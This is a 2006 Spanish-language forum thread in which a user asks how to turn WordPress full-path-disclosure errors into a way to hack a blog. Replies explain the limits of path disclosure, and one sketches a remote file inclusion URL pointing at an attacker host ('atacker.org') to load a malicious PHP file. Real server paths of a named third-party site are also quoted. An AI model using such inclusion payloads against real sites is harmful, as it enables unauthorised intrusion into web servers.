Hola!! hay por ahi gestores de blog como el WordPress con una vulnerabilidad interesante llamada Path Disclosure, he buscado muxo, se como va y de que forma trabaja la vulnerabilidad y se explotarla pero hay algo que no entiendo, se supone que al poner una pagina en la barra de direcciones te da un error como este: Fatal error: Call to undefined function: add_filter() in /chs/p1/VICTIMA.com/home/html/blog/wp-includes/default-filters.php on line 4 y se supone que ahi es donde te da la ruta y el path para poder hackear el blog, no lo entiendo muxo si me peden ayudar els agradeceria, saludos.
el path disclosure solo te da informacion sobre donde esta alojada la web en el servidor.. no solo con saberla vas a tener control de este
Saludos!!
Pero por ejemplo, yo pongo: http://VICTIMA/blog/wp-settings.php
Y me sale esto, que nos sirve para averiguar que el sitio esta mal configurado y es vulnerable.
Warning: main(ABSPATHwp-includes/wp-db.php): failed to open stream: No such file or directory in /chs/p1/iguana-tango.com/home/html/blog/wp-settings.php on line 39
Fatal error: main(): Failed opening required 'ABSPATHwp-includes/wp-db.php' (include_path='.:/usr/local/lib/php') in /chs/p1/iguana-tango.com/home/html/blog/wp-settings.php on line 39
Y no despues que hay que hacer, he seguido las rutas esas y no existen y lo del include_paht= no lo entiendo, no se que se puede sacar de ahi, Saludos gracias por contestar.
Es vulnerable a Full Path Disclosure, pero no es tan peligroso.. el path aveces incluye el nombre del usuario que controla la cuenta, y en caso de lograr un RFI o RFD te sirve, si solo sabes la ruta no te sirve de nada..
Saludos!!
Entonces con ese mensaje de error no se puede hacer nada? no pruebo a poner el base_paht= y me sale un mensaje de Internal Server Error, Gracias!
uno de los problemas puede ser que el archivo wp-settings.php esta incluido en otro, y no se ejecuta directamente por navegador, por eso mismo se hace un lio con las rutas.
un ejemplo
admin.php
------------------------------------------------
<?
$ruta = './carpeta/carpeta2/';
include ('./wp-settings.php');
?>
wp-settings.php
------------------------------------------------
<?
include ($ruta.'wp-db.php');
?>
entonces, al ejecutarse el archivo directamente, la variable $ruta no esta definida, y pasa a valer NULL.
el include que hace wp-settings.php no se puede llevar a cabo porque el file no existe ahi.
Puede llegar a ser el problema, no lo estoy afirmando.
saludos
Cita de: Wdeah en 13 Julio 2006, 11:26 AM
uno de los problemas puede ser que el archivo wp-settings.php esta incluido en otro, y no se ejecuta directamente por navegador, por eso mismo se hace un lio con las rutas.
un ejemplo
admin.php
------------------------------------------------
<?
$ruta = './carpeta/carpeta2/';
include ('./wp-settings.php');
?>
wp-settings.php
------------------------------------------------
<?
include ($ruta.'wp-db.php');
?>
entonces, al ejecutarse el archivo directamente, la variable $ruta no esta definida, y pasa a valer NULL.
el include que hace wp-settings.php no se puede llevar a cabo porque el file no existe ahi.
Puede llegar a ser el problema, no lo estoy afirmando.
saludos
No se si entendí mal, pero de hecho si el código fuera parecido al de Wdeah y se tuviera el control sobre la variable $ruta (por método GET o POST... da igual) pues cambiando la variable por algo como
http://Victima.com/blog/index.php?ruta=http://www.atacker.org/ataques/
y en la dir el atacante crea un file malocioso con el nombre 'wp-settings.php', pues las condiciones se cumplirian y la inclusion sería exitosa.
ese no es el codigo de wordpress, solo esta dando un ejemplo
si tuviera las register_globals on que por defecto estan off.. podria hacerse lo que dices.
si no, no.
Saludos!!